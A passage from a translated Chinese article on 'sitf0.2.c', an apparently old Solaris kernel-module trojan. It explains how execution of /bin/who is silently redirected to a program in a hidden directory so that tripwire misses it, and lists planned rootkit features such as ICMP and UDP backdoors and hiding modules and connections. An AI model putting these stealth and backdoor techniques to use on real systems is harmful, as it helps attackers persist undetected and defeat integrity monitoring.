sitf0.2.c(Solaris Integrated Trojan Facility)演示了在5.5和5.6中提到的内容.它也可以象sitf0.1.c中那样进行配置,同时增加了两个定义:

#define OLDCMD "/bin/who"
#define NEWCMD "/usr/openwin/bin/xview/xcalc"
如果文件OLDCMD被执行时,其实是NEWCMD被执行了.这是一个很有用的功能,可以将后门放到某个隐藏目录中.这种形式的"木马"是很难被发现的,因为它没有修改正常命令(这里是/bin/who)的内容,真正被执行的程序又放到了一个隐藏目录中,因此可以骗过tripwire等检验文件完整性的工具.(它们只能通过目录列表来得到要检查的文件名)

6 下一步的计划
如果你已经仔细阅读了这篇文章,你可能已经发现很多东西会在下一版本中被改进.下面是

一个下一版中所要做的改进的简表:
- 分配用户空间内存的实现
- 修复getedents64()中的文件隐藏机制,允许magic字符串多次出现在文件名中.
- 通过修改ksyms模块来隐藏模块
- 制作一个ICMP后门用来执行程序.
- 从netstat中隐藏指定的网络连接
- 通过修改udp相关函数,制作基于UDP的后门
- 完成针对Solaris 2.5(Sparc) 和 2.6 (Sparc/x86)版本的模块
<* 译者注: 似乎还应该考虑增加一个标志,以避免此模块重复装载 *>
我也计划写一个针对Solaris 7(Sparc/x86)的安全模块,它包含下列特点:
- 受保护的模块装载和卸载
- 限制用户所能看到的进程列表
- 可写目录的链接检查
- 基于内核的包监听
- 对于可能发生的溢出进行报警



资料来源: JSP001.com